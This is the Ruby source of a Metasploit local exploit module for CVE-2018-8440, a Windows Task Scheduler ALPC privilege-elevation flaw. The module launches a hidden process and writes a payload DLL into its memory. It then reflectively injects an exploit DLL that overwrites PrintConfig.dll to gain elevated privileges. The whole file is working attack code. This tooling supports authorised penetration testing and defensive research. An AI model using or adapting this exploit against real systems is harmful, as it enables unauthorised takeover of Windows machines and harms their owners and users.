## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/post/file' require 'msf/core/post/windows/priv' require 'msf/core/post/windows/registry' #TODO: Do we need this? require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Post::Windows::Priv include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Windows ALPC Task Scheduler Local Privilege Elevation', 'Description' => %q( On vulnerable versions of Windows the alpc endpoint method SchRpcSetSecurity implemented by the task scheduler service can be used to write arbitrary DACLs to `.job` files located in `c:\windows\tasks` because the scheduler does not use impersonation when checking this location. Since users can create files in the `c:\windows\tasks` folder, a hardlink can be created to a file the user has read access to. After creating a hardlink, the vulnerability can be triggered to set the DACL on the linked file. WARNING: The PrintConfig.dll (%windir%\system32\driverstor\filerepository\prnms003*) on the target host will be overwritten when the exploit runs. This module has been tested against Windows 10 Pro x64. ), 'License' => MSF_LICENSE, 'Author' => [ 'SandboxEscaper', # Original discovery and PoC 'bwatters-r7', # msf module 'asoto-r7', # msf module 'Jacob Robles' # msf module ], 'Platform' => 'win', 'SessionTypes' => ['meterpreter'], 'Targets' => [ ['Windows 10 x64', { 'Arch' => ARCH_X64 }] ], 'References' => [ ['CVE', '2018-8440'], ['URL', 'https://github.com/SandboxEscaper/randomrepo/'], ], 'DisclosureDate' => 'Aug 27 2018', 'DefaultTarget' => 0, )) register_options([OptString.new('PROCESS', [false, 'Name of process to spawn and inject dll into.', nil]) ]) end def setup_process(process_name) begin print_status("Launching #{process_name} to host the exploit...") launch_process = client.sys.process.execute(process_name, nil, 'Hidden' => true) process = client.sys.process.open(launch_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError # Sandboxes could not allow to create a new process # stdapi_sys_process_execute: Operation failed: Access is denied. print_error('Operation failed. Trying to elevate the current process...') process = client.sys.process.open end process end def inject_magic(process, payload_dll) library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-8440', 'ALPC-TaskSched-LPE.dll') library_path = ::File.expand_path(library_path) dll_data = '' ::File.open(library_path, 'rb') { |f| dll_data = f.read } print_status("Writing payload dll into process #{process.pid} memory") payload_addr = process.memory.allocate(payload_dll.length, PROT_READ | PROT_WRITE) written = process.memory.write(payload_addr, payload_dll) if written != payload_dll.length fail_with(Failure::UnexpectedReply, 'Failed to write payload to process memory') end print_status("Reflectively injecting the exploit DLL into #{process.pid}...") exploit_mem, offset = inject_dll_data_into_process(process, dll_data) process.thread.create(exploit_mem + offset, payload_addr) end def validate_active_host sysinfo['Computer'] true rescue Rex::Post::Meterpreter::RequestError, Rex::TimeoutError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") false end def validate_target if is_system? fail_with(Failure::None, 'Session is already elevated') end if sysinfo['Architecture'] == ARCH_X86 fail_with(Failure::NoTarget, 'Exploit code is 64-bit only') end if sysinfo['OS'] =~ /XP/ fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP') end end def exploit unless session.type == 'meterpreter' fail_with(Failure::None, 'Only meterpreter sessions are supported') end payload_dll = generate_payload_dll process_name = datastore['PROCESS'] || 'notepad.exe' print_status('Checking target...') unless validate_active_host raise Msf::Exploit::Failed, 'Could not connect to session' end validate_target print_status("Target Looks Good... trying to start #{process_name}") process = setup_process(process_name) inject_magic(process, payload_dll) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error(e.message) end end